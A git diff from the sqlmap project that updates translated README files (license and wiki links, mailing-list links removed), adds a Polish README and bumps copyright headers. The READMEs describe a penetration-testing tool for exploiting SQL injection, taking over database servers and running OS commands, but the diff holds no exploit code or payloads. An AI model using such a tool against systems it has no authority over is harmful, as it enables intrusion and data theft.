[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. @@ -34,7 +34,7 @@ python sqlmap.py -hh Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601). -Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki). +Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Σύνδεσμοι ---- @@ -45,9 +45,6 @@ * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list αρχείο: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 29e77b9f28f..7b84a99bc07 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. @@ -34,7 +34,7 @@ Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601). -Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- @@ -45,9 +45,6 @@ Poveznice * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index cb9a736abe3..6cf44cf044c 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. @@ -35,7 +35,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki). +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- @@ -46,9 +46,6 @@ Tautan * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index f422f98f001..eddaa95ac03 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. @@ -34,7 +34,7 @@ Per una lista di tutte le opzioni e di tutti i controlli: python sqlmap.py -hh Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). -Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese). +Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Link ---- @@ -45,9 +45,6 @@ Link * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 03e41f8c863..711e919f705 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 @@ -35,7 +35,7 @@ sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 -sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。 +sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 リンク ---- @@ -46,9 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md new file mode 100644 index 00000000000..bcc3485897a --- /dev/null +++ b/doc/translations/README-pl-PL.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. + +Zrzuty ekranowe +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstruującą na wiki niektóre możliwości. + +Instalacja +---- + +Najnowsze tarball archiwum jest dostępne po klikcięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej. + +Sposób użycia +---- + +Aby uzyskać listę podstawowych funkcji i parametrów użyj polecenia: + + python sqlmap.py -h + +Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: + + python sqlmap.py -hh + +Przykładowy wynik działania dostępny [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listę wszystkich dostępnych fukcji, parametrów i opisów ich działania wraz z przykładami użycia sqlnap proponujemy odwiedzić [instrukjcę użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Odnośniki +---- + +* Strona projektu: http://sqlmap.org +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues +* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki +* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 47a4723dd94..ea42053a328 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. @@ -46,9 +46,6 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 258b4311e81..d1f6238c04e 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. @@ -37,7 +37,7 @@ Bütün seçenekleri gösterir python sqlmap.py -hh -Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Links ---- @@ -48,9 +48,6 @@ Links * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mail listesi: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mail RSS takibi: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mail listesi arşivi: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index e8b2c98851b..5eee311860e 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 @@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 python sqlmap.py -hh -你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 +你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 链接 ---- @@ -44,9 +44,6 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 2f1d10c80d9..521ef2bf1cb 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,8 +3,8 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py old mode 100755 new mode 100644 index b9358371125..cc95e5a992f --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,8 +3,8 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index fe5c1cd230d..9a27a60b4a2 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,8 +3,8 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/extra/icmpsh/icmpsh-m.pl b/extra/icmpsh/icmpsh-m.pl old mode 100755 new mode 100644 diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py index 91593105e1a..5e0addab12b 100644 --- a/extra/mssqlsig/update.py +++ b/extra/mssqlsig/update.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import 